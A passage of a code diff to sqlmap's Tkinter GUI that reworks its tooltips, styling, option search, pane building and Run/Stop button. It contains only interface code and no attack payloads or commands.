6 + self._tip = tw = self._tk.Toplevel(widget) + # Toplevels are initially mapped by Tk at the default 0,0 position. + # Keep the tooltip withdrawn until its children have been measured and + # its final geometry has been assigned; otherwise X11 briefly paints an + # empty box in the screen corner before the real tooltip appears. + tw.withdraw() + tw.wm_overrideredirect(True) + try: + tw.wm_transient(self._root) + except Exception: + pass + self._tk.Label(tw, text=text, justify="left", background=self._palette["surface0"], + foreground=self._palette["text"], relief="solid", borderwidth=1, + wraplength=460, padx=10, pady=7).pack() + tw.update_idletasks() + width = max(1, tw.winfo_reqwidth()) + height = max(1, tw.winfo_reqheight()) + x = min(x, max(0, tw.winfo_screenwidth() - width - 8)) + y = min(y, max(0, tw.winfo_screenheight() - height - 8)) + tw.wm_geometry("%dx%d+%d+%d" % (width, height, x, y)) + tw.deiconify() + tw.lift() + except Exception: + if self._tip is not None: + try: + self._tip.destroy() + except Exception: + pass + self._tip = None def _hide(self, event=None): - if self._tip: - self._tip.destroy() + self._cancel() + if self._tip is not None: + try: + self._tip.destroy() + except Exception: + pass self._tip = None class SqlmapGui(object): @@ -194,36 +360,128 @@ def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): self.filedialog = filedialog self.font = font - self.widgets = {} # dest -> (type, shared Tk variable) - self.vars = {} # dest -> shared Tk variable (one per option, bound to every widget for it) + self.widgets = {} # dest -> (type, shared effective-value Tk variable) + self.vars = {} # dest -> shared Tk variable (one per option) self.optionByDest = {} + self.optionOrder = [] + self.sectionByDest = {} + self.searchIndex = [] for group in _parserGroups(parser): + title = _groupTitle(group) for option in _groupOptions(group): - if _optDest(option): - self.optionByDest[_optDest(option)] = option + dest = _optDest(option) + if dest: + if dest not in self.optionByDest: + self.optionOrder.append(dest) + self.optionByDest[dest] = option + self.sectionByDest[dest] = title + + for index, dest in enumerate(self.optionOrder): + option = self.optionByDest[dest] + section = self.sectionByDest.get(dest, "") + label = _optionLabel(option) + flag = _preferredFlag(option) + self.searchIndex.append(( + dest, + index, + label, + section, + flag, + " ".join((label, dest, section, _optHelp(option))).lower(), + )) self.panes = {} # name -> outer frame - self.navItems = {} # name -> (row frame, accent strip, icon canvas, label) + self.navItems = {} # name -> (row frame, accent strip, icon canvas, label, badge) self.canvases = {} # name -> canvas (for wheel binding) self.inners = {} # name -> scrollable inner frame (populated lazily) self.builders = {} # name -> callable that populates the inner frame self.built = set() # names whose content has been built + self.buildStates = {} # name -> generator for incremental pane construction + self._prebuildQueue = [] + self._prebuildJob = None self.badges = {} # name -> sidebar count badge label self.sectionDests = {} # name -> [option dests in that section] self.paneOrder = [] # nav order, for Up/Down navigation self.currentPane = None + self.controlsByDest = {} # dest -> [(pane name, interactive widget)] + self.searchMatches = [] + self.process = None - self.alive = False - self.queue = None + self.processQueue = None + self.processConfigFile = None + self.consoleWindow = None + self.consoleText = None + self.consoleStatus = None + self._runSerial = 0 + self._refreshJob = None + self._searchJob = None + self._headerJob = None + self._suspendRefresh = False try: self.window = tk.Tk() except Exception as ex: raise SqlmapSystemException("unable to create GUI window ('%s')" % getSafeExString(ex)) + self.tooltip = _TooltipManager(self, self.window, tk, PALETTE) + self._initializeVariables() self._initFonts() self._initStyle() self._buildLayout() + self.window.protocol("WM_DELETE_WINDOW", self._closeApplication) + + def _initializeVariables(self): + for dest in self.optionOrder: + option = self.optionByDest[dest] + isBool = not _optTakesValue(option) + otype = "bool" if isBool else _optValueType(option) + default = defaults.get(dest) + if isBool: + var = self.tk.BooleanVar(value=bool(default)) + else: + var = self.tk.StringVar(value="" if default in (None, False) else default) + self.vars[dest] = var + self.widgets[dest] = (otype, var) + try: + var.trace("w", self._onOptionChanged) + except Exception: + pass + + def _onOptionChanged(self, *unused): + if not self._suspendRefresh: + self._scheduleRefresh() + + def _scheduleRefresh(self, delay=70): + if self._refreshJob is not None: + try: + self.window.after_cancel(self._refreshJob) + except Exception: + pass + self._refreshJob = self.window.after(delay, self._refreshDerivedState) + + def _refreshDerivedState(self): + self._refreshJob = None + self._updateStats() + self.command.set(self._buildCommandString()) + self._updateStatusLight() + + def _updateStatusLight(self): + try: + canvas = self.statusLight + except AttributeError: + return + try: + canvas.delete("all") + if self._isRunning(): + color = PALETTE["success"] + elif any(self._isOptionSet(_) for _ in self.widgets): + color = PALETTE["sky"] + else: + color = PALETTE["surface1"] + canvas.create_oval(2, 2, 10, 10, fill=color, outline=PALETTE["dark"]) + except Exception: + pass + def _initFonts(self): family = self.font.nametofont("TkDefaultFont").actual("family") @@ -239,82 +497,142 @@ def _initFonts(self): def _initStyle(self): p = PALETTE - face, light, light2, shadow, dark = p["base"], p["light"], p["surface2"], p["surface1"], p["dark"] - navy, white, black, field = p["blue"], "#ffffff", p["text"], p["surface0"] + face = p["base"] + field = p["surface0"] style = self.ttk.Style() if "clam" in style.theme_names(): style.theme_use("clam") - style.configure(".", background=face, foreground=black, fieldbackground=field, - bordercolor=shadow, lightcolor=light, darkcolor=shadow, - troughcolor=face, focuscolor=face, insertcolor=black, font=self.fonts["body"]) - - for name in ("TFrame", "Bar.TFrame", "Nav.TFrame", "Card.TFrame"): - style.configure(name, background=face) - - style.configure("TLabel", background=face, foreground=black) - style.configure("Title.TLabel", background=navy, foreground=white, font=self.fonts["title"]) - style.configure("Subtitle.TLabel", background=navy, foreground=white, font=self.fonts["subtitle"]) - style.configure("Hint.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) - style.configure("Field.TLabel", background=face, foreground=black) - style.configure("Desc.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) - style.configure("Pane.TLabel", background=face, foreground=navy, font=self.fonts["title"]) - style.configure("Stat.TLabel", background=face, foreground=p["overlay"], font=self.fonts["small"]) - style.configure("Prompt.TLabel", background=field, foreground=black, font=self.fonts["mono"]) - - # classic raised 3D push button - style.configure("TButton", background=face, foreground=black, relief="raised", borderwidth=2, - lightcolor=light, darkcolor=dark, bordercolor=shadow, focuscolor=black, padding=(12, 4)) - style.map("TButton", background=[("active", face)], relief=[("pressed", "sunken")]) - - # sunken white edit fields - for name in ("TEntry", "Target.TEntry"): - style.configure(name, fieldbackground=field, foreground=black, relief="sunken", borderwidth=2, - bordercolor=shadow, lightcolor=shadow, darkcolor=light, insertcolor=black, padding=4) - - style.configure("TCheckbutton", background=face, foreground=black, focuscolor=face, padding=2, - indicatorbackground=field, indicatorforeground=black, indicatorrelief="sunken", indicatorborderwidth=2, - bordercolor=shadow, lightcolor=shadow, darkcolor=light) - style.map("TCheckbutton", background=[("active", face)], indicatorbackground=[("active", field), ("selected", field)]) - - style.configure("TCombobox", fieldbackground=field, background=face, foreground=black, arrowcolor=black, - relief="sunken", borderwidth=2, bordercolor=shadow, lightcolor=shadow, darkcolor=light, padding=3) - - # classic chunky scrollbar (raised gray thumb, light trough) - style.configure("Vertical.TScrollbar", background=face, troughcolor=light2, bordercolor=shadow, - lightcolor=light, darkcolor=dark, arrowcolor=black, relief="raised", width=17) - style.map("Vertical.TScrollbar", background=[("active", face)]) + style.configure(".", background=face, foreground=p["text"], fieldbackground=field, + bordercolor=p["border"], lightcolor=p["light"], darkcolor=p["surface1"], + troughcolor=p["surface2"], focuscolor=p["blue"], insertcolor=p["text"], + font=self.fonts["body"]) + + style.configure("TFrame", background=face) + style.configure("Bar.TFrame", background=p["panel"]) + style.configure("Nav.TFrame", background=p["mantle"]) + style.configure("Card.TFrame", background=p["panel"]) + style.configure("Panel.TFrame", background=p["surface0"]) + style.configure("PaneHeader.TFrame", background=p["surface0"]) + + style.configure("TLabel", background=face, foreground=p["text"]) + style.configure("Title.TLabel", background=p["blue"], foreground="#ffffff", font=self.fonts["title"]) + style.configure("Subtitle.TLabel", background=p["blue"], foreground="#dceaf2", font=self.fonts["subtitle"]) + style.configure("Hint.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("PanelHint.TLabel", background=p["surface0"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("PanelLabel.TLabel", background=p["surface0"], foreground=p["blue"], font=self.fonts["bodyBold"]) + style.configure("NavHint.TLabel", background=p["mantle"], foreground=p["navMuted"], font=self.fonts["small"]) + style.configure("NavTitle.TLabel", background=p["mantle"], foreground=p["navText"], font=self.fonts["bodyBold"]) + style.configure("Field.TLabel", background=p["panel"], foreground=p["text"]) + style.configure("Desc.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Pane.TLabel", background=p["surface0"], foreground=p["blue"], font=self.fonts["title"]) + style.configure("PaneCount.TLabel", background=p["surface0"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Stat.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Prompt.TLabel", background=field, foreground=p["text"], font=self.fonts["mono"]) + + style.configure("TButton", background=p["surface2"], foreground=p["text"], relief="raised", borderwidth=1, + lightcolor=p["light"], darkcolor=p["surface1"], bordercolor=p["border"], + focuscolor=p["blue"], padding=(11, 5)) + style.map("TButton", background=[("active", p["surface0"]), ("pressed", p["surface1"])], + relief=[("pressed", "sunken")]) + style.configure("Tool.TButton", padding=(9, 4), font=self.fonts["small"]) + style.configure("Primary.TButton", background=p["success"], foreground="#ffffff", bordercolor=p["green"], + lightcolor="#78c89a", darkcolor="#17643a", padding=(12, 5), font=self.fonts["bodyBold"]) + style.map("Primary.TButton", background=[("active", "#39aa68"), ("pressed", "#247c49")], + foreground=[("disabled", "#d7e4dc")]) + + style.configure("TEntry", fieldbackground=field, foreground=p["text"], relief="sunken", borderwidth=1, + bordercolor=p["border"], lightcolor=p["surface1"], darkcolor=p["light"], + insertcolor=p["text"], padding=5) + style.configure("Target.TEntry", fieldbackground="#ffffff", foreground=p["text"], relief="sunken", borderwidth=1, + bordercolor=p["sapphire"], lightcolor=p["surface1"], darkcolor=p["light"], + insertcolor=p["text"], padding=7, font=self.fonts["body"]) + style.configure("Search.TEntry", fieldbackground="#192936", foreground=p["navText"], relief="flat", borderwidth=1, + bordercolor="#4c6376", lightcolor="#4c6376", darkcolor="#17242f", + insertcolor="#ffffff", padding=6) + + style.configure("TCheckbutton", background=p["panel"], foreground=p["text"], focuscolor=p["panel"], padding=2, + indicatorbackground=field, indicatorforeground=p["blue"], indicatorrelief="sunken", + indicatorborderwidth=1, bordercolor=p["border"], lightcolor=p["surface1"], darkcolor=p["light"]) + style.map("TCheckbutton", background=[("active", p["panel"])], + indicatorbackground=[("active", field), ("selected", field)]) + + style.configure("TCombobox", fieldbackground=field, background=p["surface2"], foreground=p["text"], + arrowcolor=p["blue"], relief="sunken", borderwidth=1, bordercolor=p["border"], + lightcolor=p["surface1"], darkcolor=p["light"], padding=4) + + style.configure("Vertical.TScrollbar", background=p["surface2"], troughcolor=p["panel"], + bordercolor=p["border"], lightcolor=p["light"], darkcolor=p["surface1"], + arrowcolor=p["text"], relief="raised", width=16) + style.map("Vertical.TScrollbar", background=[("active", p["surface0"])]) self.window.configure(background=face) - # --- layout --------------------------------------------------------- - def _buildLayout(self): tk = self.tk - self.window.title("sqlmap") - self.window.minsize(960, 680) + p = PALETTE + self.window.title("sqlmap GUI") + self.window.minsize(980, 690) self._buildMenu() self._buildHeader() - target = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 12, 20, 14)) - target.pack(fill=tk.X) - labelRow = self.ttk.Frame(target, style="Bar.TFrame") - labelRow.pack(fill=tk.X, pady=(0, 4)) - self.ttk.Label(labelRow, text="TARGET URL", style="Hint.TLabel").pack(side=tk.LEFT) - self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="Stat.TLabel").pack(side=tk.LEFT) + targetShell = tk.Frame(self.window, background=p["border"], borderwidth=0) + targetShell.pack(fill=tk.X, padx=16, pady=(10, 8)) + target = self.ttk.Frame(targetShell, style="Panel.TFrame", padding=(14, 10, 14, 12)) + target.pack(fill=tk.X, padx=1, pady=1) + tk.Frame(target, background=p["red"], height=3).pack(fill=tk.X, pady=(0, 9)) + + labelRow = self.ttk.Frame(target, style="Panel.TFrame") + labelRow.pack(fill=tk.X, pady=(0, 5)) + self.ttk.Label(labelRow, text="TARGET URL", style="PanelLabel.TLabel").pack(side=tk.LEFT) + self.ttk.Label(labelRow, text="Ctrl+L", style="PanelHint.TLabel").pack(side=tk.RIGHT) + self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="PanelHint.TLabel").pack(side=tk.LEFT) + + targetRow = self.ttk.Frame(target, style="Panel.TFrame") + targetRow.pack(fill=tk.X) urlVar = self._destVar("url", False) - self.targetEntry = self.ttk.Entry(target, style="Target.TEntry", textvariable=urlVar) - self.targetEntry.pack(fill=tk.X, ipady=2) - self.widgets["url"] = ("string", urlVar) + self.targetEntry = self.ttk.Entry(targetRow, style="Target.TEntry", textvariable=urlVar) + self.targetEntry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=1) + self.ttk.Button(targetRow, text="Paste", style="Tool.TButton", command=self._pasteTarget, + takefocus=False).pack(side=tk.LEFT, padx=(8, 0)) + self.ttk.Button(targetRow, text="Clear", style="Tool.TButton", command=self._clearTarget, + takefocus=False).pack(side=tk.LEFT, padx=(6, 0)) + self.controlsByDest.setdefault("url", []).append((None, self.targetEntry)) body = self.ttk.Frame(self.window, style="TFrame") body.pack(expand=True, fill=tk.BOTH) - navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=202) + navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=224) navHolder.pack(side=tk.LEFT, fill=tk.Y) navHolder.pack_propagate(False) - self.navCanvas = tk.Canvas(navHolder, background=PALETTE["mantle"], highlightthickness=0, borderwidth=0) - navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, style="Vertical.TScrollbar") + + searchBar = self.ttk.Frame(navHolder, style="Nav.TFrame", padding=(11, 11, 11, 8)) + searchBar.pack(fill=tk.X) + searchTitle = self.ttk.Frame(searchBar, style="Nav.TFrame") + searchTitle.pack(fill=tk.X, pady=(0, 5)) + self.ttk.Label(searchTitle, text="OPTION FINDER", style="NavTitle.TLabel").pack(side=tk.LEFT) + self.ttk.Label(searchTitle, text="Ctrl+K", style="NavHint.TLabel").pack(side=tk.RIGHT) + self.searchVar = tk.StringVar(value="") + self.searchEntry = self.ttk.Entry(searchBar, style="Search.TEntry", textvariable=self.searchVar) + self.searchEntry.pack(fill=tk.X) + self.searchEntry.bind("", self._activateSearchResult) + self.searchEntry.bind("", self._searchMoveDown) + try: + self.searchVar.trace("w", self._scheduleSearch) + except Exception: + pass + + self.searchList = tk.Listbox(navHolder, height=6, activestyle="dotbox", exportselection=False, + bg="#192936", fg=p["navText"], selectbackground=p["sapphire"], + selectforeground="#ffffff", relief="flat", borderwidth=1, + highlightthickness=1, highlightbackground="#4c6376", + font=self.fonts["small"]) + self.searchList.bind("", self._clickSearchResult) + self.searchList.bind("", self._activateSearchResult) + + self.navCanvas = tk.Canvas(navHolder, background=p["mantle"], highlightthickness=0, borderwidth=0) + navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, + style="Vertical.TScrollbar") self.nav = self.ttk.Frame(self.navCanvas, style="Nav.TFrame") self.nav.bind("", lambda e: self.navCanvas.configure(scrollregion=self.navCanvas.bbox("all"))) navWin = self.navCanvas.create_window((0, 0), window=self.nav, anchor="nw") @@ -323,24 +641,31 @@ def _buildLayout(self): self.navCanvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) navScroll.pack(side=tk.RIGHT, fill=tk.Y) - tk.Frame(body, background=PALETTE["surface1"], width=1).pack(side=tk.LEFT, fill=tk.Y) + tk.Frame(body, background=p["border"], width=1).pack(side=tk.LEFT, fill=tk.Y) self.content = self.ttk.Frame(body, style="Card.TFrame") self.content.pack(side=tk.LEFT, expand=True, fill=tk.BOTH) - cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 8)) + cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(16, 8)) cmdBar.pack(fill=tk.X) - self.ttk.Label(cmdBar, text="Command:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) - self.ttk.Button(cmdBar, text="Copy", command=self._copyCommand, takefocus=False).pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Label(cmdBar, text=">_", style="PanelLabel.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.ttk.Button(cmdBar, text="Copy", style="Tool.TButton", command=self._copyCommand, + takefocus=False).pack(side=tk.RIGHT, padx=(7, 0)) + self.ttk.Button(cmdBar, text="Reset", style="Tool.TButton", command=self.resetOptions, + takefocus=False).pack(side=tk.RIGHT, padx=(7, 0)) self.command = tk.StringVar(value="sqlmap.py") cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], - bg="#ffffff", fg=PALETTE["blue"], readonlybackground="#ffffff", - disabledforeground=PALETTE["blue"], relief="sunken", borderwidth=2, - highlightthickness=0, state="readonly") - cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + bg=p["command"], fg=p["commandText"], readonlybackground=p["command"], + disabledforeground=p["commandText"], relief="flat", borderwidth=0, + highlightthickness=1, highlightbackground=p["border"], + highlightcolor=p["sapphire"], state="readonly") + cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=5) - hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(20, 9)) + hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(16, 8)) hintBar.pack(fill=tk.X) + self.statusLight = tk.Canvas(hintBar, width=12, height=12, background=p["panel"], + highlightthickness=0, borderwidth=0) + self.statusLight.pack(side=tk.LEFT, padx=(0, 8)) self.stat = tk.StringVar(value="") self.ttk.Label(hintBar, textvariable=self.stat, style="Stat.TLabel", anchor="e").pack(side=tk.RIGHT, padx=(12, 0)) self.hint = tk.StringVar(value=HINT_DEFAULT) @@ -350,6 +675,7 @@ def _buildLayout(self): for group in _parserGroups(self.parser): self._buildGroupPane(group) + self._prebuildQueue = list(self.paneOrder) self._selectPane("Quick start") self.window.bind("", lambda e: self._navKey(1)) self.window.bind("", lambda e: self._navKey(-1)) @@ -359,34 +685,14 @@ def _buildLayout(self): self.window.bind("", lambda e: self.run()) self.window.bind("", lambda e: self.run()) self.window.bind("", lambda e: self._focusTarget()) + self.window.bind("", lambda e: self._focusSearch()) + self.window.bind("", self._escapeAction) self.window.bind("", lambda e: self.saveConfigDialog()) self.window.bind("", lambda e: self.loadConfig()) self._enableSelectAll() - self._tickStats() - self._prebuildPanes() - self._center(self.window, 1000, 720) - - def _prebuildPanes(self): - # Tk isn't thread-safe, so widgets must be built on the main thread; instead of blocking, - # build the not-yet-visited panes one per idle tick so they are ready (instant) by the time - # the user navigates to them, while the UI stays responsive (on-demand build is the fallback) - pending = [_ for _ in self.paneOrder if _ not in self.built] - - def step(): - while pending and pending[0] in self.built: - pending.pop(0) - if not pending: - return - name = pending.pop(0) - try: - self.builders[name](self.inners[name]) - self.built.add(name) - except Exception: - pass - if pending: - self.window.after(30, step) - - self.window.after(250, step) + self._refreshDerivedState() + self._center(self.window, 1060, 750) + self._schedulePanePrebuild(60) def _enableSelectAll(self): # Tk binds Ctrl-A to "cursor to line start" by default; rebind it to select-all, @@ -414,21 +720,25 @@ def selectText(event): def _buildMenu(self): p = PALETTE - menubar = self.tk.Menu(self.window, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"], borderwidth=0) - filemenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + menuKw = dict(bg=p["panel"], fg=p["text"], activebackground=p["sapphire"], + activeforeground="#ffffff") + menubar = self.tk.Menu(self.window, borderwidth=0, **menuKw) + filemenu = self.tk.Menu(menubar, tearoff=0, **menuKw) filemenu.add_command(label="Load configuration...", command=self.loadConfig) filemenu.add_command(label="Save configuration...", command=self.saveConfigDialog) + filemenu.add_command(label="Reset all options", command=self.resetOptions) filemenu.add_separator() - filemenu.add_command(label="Exit", command=self.window.quit) + filemenu.add_command(label="Exit", command=self._closeApplication) menubar.add_cascade(label="File", menu=filemenu) menubar.add_command(label="Run", command=self.run) - helpmenu = self.tk.Menu(menubar, tearoff=0, bg=p["mantle"], fg=p["text"], activebackground=p["surface0"], activeforeground=p["text"]) + helpmenu = self.tk.Menu(menubar, tearoff=0, **menuKw) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="GitHub", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Wiki", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) + helpmenu.add_command(label="About", command=lambda: self.messagebox.showinfo( + "About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) menubar.add_cascade(label="Help", menu=helpmenu) self.window.config(menu=menubar) @@ -436,7 +746,15 @@ def _buildHeader(self): self._runHover = False self.header = self.tk.Canvas(self.window, height=76, highlightthickness=0, borderwidth=0, background=PALETTE["base"]) self.header.pack(fill=self.tk.X) - self.header.bind("", lambda e: self._drawHeader()) + self.header.bind("", self._scheduleHeaderDraw) + + def _scheduleHeaderDraw(self, event=None): + if self._headerJob is not None: + try: + self.window.after_cancel(self._headerJob) + except Exception: + pass + self._headerJob = self.window.after(35, self._drawHeader) def _interp(self, color1, color2, ratio): a = [int(color1[_:_ + 2], 16) for _ in (1, 3, 5)] @@ -444,51 +762,87 @@ def _interp(self, color1, color2, ratio): return "#%02x%02x%02x" % tuple(int(a[_] + (b[_] - a[_]) * ratio) for _ in range(3)) def _drawHeader(self): + """Draw the header only for resize or process-state changes. + + Keep this deliberately cheap. Redrawing a canvas from an / + callback can remove the item currently under the pointer, which generates a + matching leave/enter pair and can turn into an event/redraw loop on Tk/X11. + """ + self._headerJob = None p = PALETTE c = self.header c.delete("all") - width = c.winfo_width() + width = max(1, c.winfo_width()) height = 76 - steps = max(1, width // 4) - for i in range(steps): - c.create_rectangle(i * width / steps, 0, (i + 1) * width / steps + 1, height, - outline="", fill=self._interp(p["blue"], p["title2"], i / float(steps))) - c.create_text(24, 27, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) - c.create_text(122, 31, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", fill="#c7d8ef", font=self.fonts["subtitle"]) - c.create_text(24, 54, text="automatic SQL injection and database takeover tool", anchor="w", fill="#dfe8f6", font=self.fonts["small"]) + + # A small, fixed number of primitives paints faster and more consistently + # than a strip-per-gradient header, especially on X11 and remote displays. + c.create_rectangle(0, 0, width, height, outline="", fill="#17445f") + c.create_rectangle(0, 0, 6, height, outline="", fill=p["sky"]) + c.create_rectangle(6, height - 4, width, height, outline="", fill="#0e7697") + c.create_line(22, 64, max(22, width - 160), 64, fill="#39738a") + + c.create_text(26, 26, text="sqlmap", anchor="w", fill="#ffffff", font=self.fonts["title"]) + c.create_text(124, 30, text=VERSION_STRING.replace("sqlmap/", "v"), anchor="w", + fill="#bfe1ed", font=self.fonts["subtitle"]) + c.create_text(26, 52, text="automatic SQL injection and database takeover tool", anchor="w", + fill="#dcecf2", font=self.fonts["small"]) self._drawRunButton(width, height) + def _isRunning(self): + return self.process is not None and self.process.poll() is None + def _drawRunButton(self, width, height): p = PALETTE c = self.header + running = self._isRunning() bw, bh = 116, 34 x0 = width - bw - 22 y0 = (height - bh) // 2 x1, y1 = x0 + bw, y0 + bh - c.create_rectangle(x0, y0, x1, y1, fill=p["base"], outline="", tags=("runbtn", "runpill")) - # classic raised 3D bevel (white top/left, dark bottom/right) - c.create_line(x0, y0, x1, y0, fill="#ffffff", tags="runbtn") - c.create_line(x0, y0, x0, y1, fill="#ffffff", tags="runbtn") - c.create_line(x0, y1, x1, y1, fill=p["dark"], tags="runbtn") - c.create_line(x1, y0, x1, y1 + 1, fill=p["dark"], tags="runbtn") - c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") - c.create_line(x1 - 1, y0 + 1, x1 - 1, y1 - 1, fill=p["surface1"], tags="runbtn") + baseFill = p["red"] if running else p["success"] + fill = ("#d15056" if running else "#3bae6b") if self._runHover else baseFill + c.create_rectangle(x0, y0, x1, y1, fill=fill, outline="#d9f1e3", width=1, + tags=("runbtn", "runpill")) + c.create_line(x0 + 1, y0 + 1, x1 - 1, y0 + 1, fill="#8fd2aa" if not running else "#ef9da1", + tags="runbtn") + c.create_line(x0 + 1, y1 - 1, x1 - 1, y1 - 1, fill="#17613a" if not running else "#75252a", + tags="runbtn") cy = (y0 + y1) // 2 - tx = x0 + 24 - c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill=p["blue"], outline="", tags=("runbtn", "runico")) - c.create_text((x0 + x1) // 2 + 8, cy, text="Run", fill=p["text"], font=self.fonts["bodyBold"], tags=("runbtn", "runico")) - c.tag_bind("runbtn", "", lambda e: self.run()) + tx = x0 + 23 + if running: + c.create_rectangle(tx, cy - 6, tx + 11, cy + 6, fill="#ffffff", outline="", + tags=("runbtn", "runico")) + else: + c.create_polygon(tx, cy - 6, tx, cy + 6, tx + 10, cy, fill="#ffffff", outline="", + tags=("runbtn", "runico")) + c.create_text((x0 + x1) // 2 + 8, cy, text=("Stop" if running else "Run"), fill="#ffffff", + font=self.fonts["bodyBold"], tags=("runbtn", "runico")) + c.tag_bind("runbtn", "", lambda e: self._runButtonAction()) c.tag_bind("runbtn", "", lambda e: self._hoverRun(True)) c.tag_bind("runbtn", "", lambda e: self._hoverRun(False)) + def _runButtonAction(self): + if self._isRunning(): + self.stopProcess() + else: + self.run() + def _hoverRun(self, on): + """Update only the existing button items; never rebuild the header here.""" self._runHover = on - self.header.itemconfigure("runpill", fill="#ccccc6" if on else PALETTE["base"]) try: + running = self._isRunning() + if on: + fill = "#d15056" if running else "#3bae6b" + else: + fill = PALETTE["red"] if running else PALETTE["success"] + self.header.itemconfigure("runpill", fill=fill) self.header.configure(cursor="hand2" if on else "") except Exception: pass + def _drawIcon(self, c, name, col): # minimal line-art icons, drawn as vectors so they render everywhere and need no assets c.delete("all") @@ -595,10 +949,10 @@ def _addPane(self, name, navText): icon = tk.Canvas(row, width=22, height=22, highlightthickness=0, borderwidth=0, background=p["mantle"]) icon.pack(side=tk.LEFT, padx=(13, 0), pady=8) self._drawIcon(icon, name, self._iconColor(name)) - badge = tk.Label(row, text="", background=p["mantle"], foreground=p["blue"], font=self.fonts["small"]) + badge = tk.Label(row, text="", background=p["mantle"], foreground=p["navMuted"], font=self.fonts["small"]) badge.pack(side=tk.RIGHT, padx=(0, 12)) self.badges[name] = badge - lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["subtext"], + lab = tk.Label(row, text=navText, background=p["mantle"], foreground=p["navText"], font=self.fonts["nav"], anchor="w", padx=10, pady=9) lab.pack(side=tk.LEFT, fill=tk.X, expand=True) for w in (row, lab, strip, icon, badge): @@ -609,7 +963,7 @@ def _addPane(self, name, navText): self.paneOrder.append(name) outer = self.ttk.Frame(self.content, style="Card.TFrame") - canvas = tk.Canvas(outer, background=p["base"], highlightthickness=0, borderwidth=0) + canvas = tk.Canvas(outer, background=p["panel"], highlightthickness=0, borderwidth=0) scrollbar = self.ttk.Scrollbar(outer, orient="vertical", command=canvas.yview, style="Vertical.TScrollbar") inner = self.ttk.Frame(canvas, style="Card.TFrame", padding=(24, 20)) inner.bind("", lambda e: canvas.configure(scrollregion=canvas.bbox("all"))) @@ -627,9 +981,11 @@ def _iconColor(self, name): return PALETTE.get(ICON_COLORS.get(name, "subtext"), PALETTE["subtext"]) def _navHover(self, name, entering): + if entering: + self._prioritizePaneBuild(name) if name == self.currentPane: return - bg = PALETTE["surface2"] if entering else PALETTE["mantle"] + bg = PALETTE["navHover"] if entering else PALETTE["mantle"] row, strip, icon, lab, badge = self.navItems[name] for w in (row, strip, icon, lab, badge): w.configure(background=bg) @@ -647,9 +1003,11 @@ def _navKey(self, delta): return "break" def _selectPane(self, name): - if name not in self.built: # lazy: populate the pane on first visit - self.builders[name](self.inners[name]) - self.built.add(name) + # Build only a tiny, time-bounded slice synchronously so a never-visited pane + # appears immediately. The remaining rows are completed by the idle prebuilder. + if name not in self.built: + self._prioritizePaneBuild(name) + self._buildPaneSlice(name, budgetMs=14, minimumSteps=5) if self.currentPane == name: return p = PALETTE @@ -658,18 +1016,22 @@ def _selectPane(self, name): row, strip, icon, lab, badge = self.navItems[self.currentPane] for w in (row, strip, icon): w.configure(background=p["mantle"]) - lab.configure(background=p["mantle"], foreground=p["text"], font=self.fonts["nav"]) - badge.configure(background=p["mantle"], foreground=p["blue"]) + lab.configure(background=p["mantle"], foreground=p["navText"], font=self.fonts["nav"]) + badge.configure(background=p["mantle"], foreground=p["navMuted"]) self._drawIcon(icon, self.currentPane, self._iconColor(self.currentPane)) self.panes[name].pack(expand=True, fill=self.tk.BOTH) row, strip, icon, lab, badge = self.navItems[name] - for w in (row, strip, icon): + for w in (row, icon): w.configure(background=p["blue"]) + strip.configure(background=p["sky"]) lab.configure(background=p["blue"], foreground="#ffffff", font=self.fonts["bodyBold"]) - badge.configure(background=p["blue"], foreground="#ffffff") + badge.configure(background=p["blue"], foreground="#d9edf5") self._drawIcon(icon, name, "#ffffff") self.currentPane = name - self._ensureNavVisible(name) + # Geometry flushing here used to make first-time pane switches feel much + # slower than the widget creation itself. Sidebar visibility can be fixed + # on the next idle turn without blocking the click handler. + self.window.after_idle(lambda n=name: 